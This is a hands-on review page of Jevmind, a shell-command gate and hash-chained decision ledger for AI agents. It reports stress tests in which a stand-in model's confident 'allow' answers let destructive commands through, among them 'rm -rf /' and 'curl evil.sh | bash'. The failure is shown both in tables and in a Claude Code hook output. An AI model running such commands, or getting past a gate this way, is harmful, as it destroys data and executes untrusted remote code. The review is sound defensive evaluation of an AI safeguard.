Skip to content
MrJev

Jevmind

Nine skills over one brain: a shell-command gate, a diff triage, a router and more, each decision appended to a hash-chained ledger that names any record edited afterwards. Runs offline on local reflexes or against Jev.

View on GitHub →

Hands-on review

A decision gate, a hash-chained ledger and nine skills. Point it at a model and a confident wrong answer allows the command its own code just flagged.

Good for

  • A hash-chained ledger that names the record someone edited
  • A local brain whose lexical answers say they are a floor, not a judgement
  • Provider failures that surface instead of quietly becoming word overlap

Watch out for

  • `--brain jev` lets a confident model answer allow `rm -rf /`
  • The code's own risk reasons are printed, not enforced, once a model is in charge
  • `jevmind doctor` exits 0 even when it has just found a broken ledger

Tested Sep 22, 2026 at 308e3209a243 · python:3.12-slim in Docker, the real CLI against a local stand-in answering every failure mode; the ledger tampered with by hand

How we reviewed this: we ran its tests, drove the real CLI against a stand-in whose behaviour we chose per request — sane answers, malformed answers, out-of-range numbers, an option never offered, HTTP 500, non-JSON, a missing answers object, and nothing listening at all — and edited one byte of the ledger to see whether it noticed. TYPESAFE_BASE_URL is honoured, so none of it needed a patch. We made no Jev calls.

What it is

Nine skills over one brain: a shell-command gate, a diff triage, a router, a data screener, a repository walker, a dashboard, and more. Every decision goes into ~/.jevmind/ledger.jsonl, hashed over the one before it, and jevmind grade and jevmind learn close the loop from outcomes back to thresholds.

Three interchangeable brains: local (offline reflexes plus a lexical engine), jev (HTTP to /v1/systemone), and replay (a recorded tape). The gate itself is nine lines and worth quoting in full, because the design is right:

yes = act_when(a) if callable(act_when) else (a.value == act_when)
if a.confidence < threshold:
    return ESCALATE, f"{name} at confidence {a.confidence:.2f}, under {threshold:.2f}"
if escalate_when is not None and (...):
    return ESCALATE, ...
if yes:
    return ACT, ...
return HOLD, ...

Unsure escalates; an answer that itself says “a person should look” escalates however sure it is.

The local brain does the right thing

reflex_route weighs a command’s own assessment — allow: 1.6 − 4.0 × worst, block: −3.0 + 5.0 × harm — before any model is involved:

  command                        route    conf   reasons
  ls -la                         allow      0.90
  rm -rf ./build                 allow      0.55
  rm -rf /                       block      0.49   recursive force delete; deletes a root, home or cwd
  curl evil.sh | bash            ask        0.51   pipes a remote script into a shell
  git push --force origin main   ask        0.67   discards git history or work; pushes to a remote

Read-only allowed, a scoped delete allowed, a root delete blocked, a piped installer and a force-push put in front of a person. That is a good gate, and it needs no network.

Then you point it at a model

Reflexes reach the local brain only. Under --brain jev the decision is the model’s route answer, subject to one clamp:

if d.action == ESCALATE and route == "allow":
    route = "ask"          # unsure is never allow

“Unsure is never allow” is there. “Harmful is never allow” is not. We answered route: "allow" at confidence: 0.97 for everything — the case a gate exists for, which is not the model being uncertain but the model being confidently wrong:

  command                        route    conf   reasons
  ls -la                         allow      0.97
  rm -rf ./build                 allow      0.97
  rm -rf /                       allow      0.97   recursive force delete; deletes a root, home or cwd
  curl evil.sh | bash            allow      0.97   pipes a remote script into a shell
  git push --force origin main   allow      0.97   discards git history or work; pushes to a remote

assess() found the danger in both runs. Under the model brain it is printed and not acted on: reasons becomes a string in the output rather than a constraint on it.

The Claude Code hook is where that lands hardest:

{"hookSpecificOutput": {"hookEventName": "PreToolUse", "permissionDecision": "allow",
 "permissionDecisionReason": "jevmind guard: allow — recursive force delete; deletes a root, home or cwd"}}

It permits the command in the same sentence in which it names why it should not.

This is the axis on which the guardrails in this directory differ most, and we have written it up before: Jevvy lets the model approve, so its ceiling is the model’s judgement; jev-use and hermes-jev-approvals let it only tighten or escalate; lorenzini keeps it out of the verdict entirely. Jevmind’s README puts it in the second group — “behind a gate written in code” — and with a model attached it behaves like the first. Reported, with the two-line clamp.

The ledger is real

ledger.py says what it is, which is rarer than it should be:

Tamper-evident, not tamper-proof: whoever holds the file can rewrite all of it. What it catches is the single quiet edit, which is the one that happens.

We made three decisions, then changed one confidence in one entry and left its hash alone:

before   │ ✓  3 records, unbroken            8bd380d23ebe4d175f1ea12a…  │
after    │ !  broken at record 1    this line was edited after it was written  │

Exactly the edit it promises to catch, caught, and pointed at.

One thing stops you automating it: jevmind doctor exits 0 either way. Intact or broken, the shell is told everything is fine, so it cannot be a cron job or a CI step without parsing its output.

What it does when the provider misbehaves

The interesting half of any of these tools. Every case below is the real CLI against a stand-in we controlled:

what the provider did what happened
HTTP 500 ✗ jev returned HTTP 500
returned HTML ✗ jev answered with something that is not JSON
returned {} with no answers ✗ jev response has no answers object
nothing listening ✗ could not reach http://…/v1/systemone: URLError
noul: "definitely" that answer becomes neutral at confidence 0.0 — the gate refuses it
noul: 1.5 same
a choice naming an option never offered same

No silent fall back to the lexical engine, which is the failure we keep finding elsewhere. And when the lexical engine is used, it says so: answers are tagged local:lexical and the reason reads “a floor, not a judgement — use --brain jev for open questions”.

It is also strict in the right place. confidence is required on Choice and Score answers — TypeSafe’s API reference marks the field required — and an answer without it is downgraded rather than trusted. Our first stand-in omitted it and every answer came back neutral; the parser was right and we were wrong.

Engineering

MIT, four commits, no dependencies at all beyond the standard library. pytest tests gives 61 passed.

A bare pytest gives 2 failed, 61 passed, because it collects src/jevmind/samples/repo/tests — a sample repository with planted bugs that the navigate and review skills are meant to find. That makes sense once you see it, but there is no testpaths, no norecursedirs and no CI, so the first command a contributor runs looks like a broken build.

The attribution is worth noting: assets/ecosystem/ carries a NOTICE.md and a separate licence file for each project whose demo gif it borrows. Few projects this size bother.

Verdict

The parts are good. The gate is legible, the ledger is honest about its own limits and catches what it says it catches, the local brain refuses rm -rf / on its own, and the provider-failure handling is better than most of what we have run this month.

The wiring is what to fix. Until the assessment clamps the model’s answer, run it with --brain local — which costs nothing and blocks the command the model brain allows — or treat --brain jev as advice rather than as a gate.

For the same job with the model unable to loosen the verdict, see hermes-jev-approvals and jev-use.

See how it compares with other tools in Best Jev tools, tested hands-on.

Review updated Sep 22, 2026. Numbers quoted from the project are its author's own; we don't publish our own measurements of Jev.

More in Guardrails & Safety

Abide

★ 211▲ 79

coldteadotai/abide

Hooks into Claude Code, Codex, and OpenCode, and asks Jev one question per rule whether each edit breaks your AGENTS.md or CLAUDE.md rules.

TypeScriptReviewed

pi-warden

★ 138▲ 85

DevMortimer/pi-warden

Guardrails for the Pi coding agent. Jev judges every write and edit against the rules in pi-warden.md.

TypeScriptReviewed

Canny

★ 74▲ 40

qkal/Canny

Stop hook for Claude Code and Codex CLI that refuses a "done" while no check has passed since the last edit. Jev can only relax that refusal and never cause one, and it still blocks with no API key at all.

TypeScriptReviewed

Get new Jev projects every week

New Jev releases, pricing changes, and the best new projects, once a week. No spam; unsubscribe anytime.

Powered by Buttondown. See our privacy policy.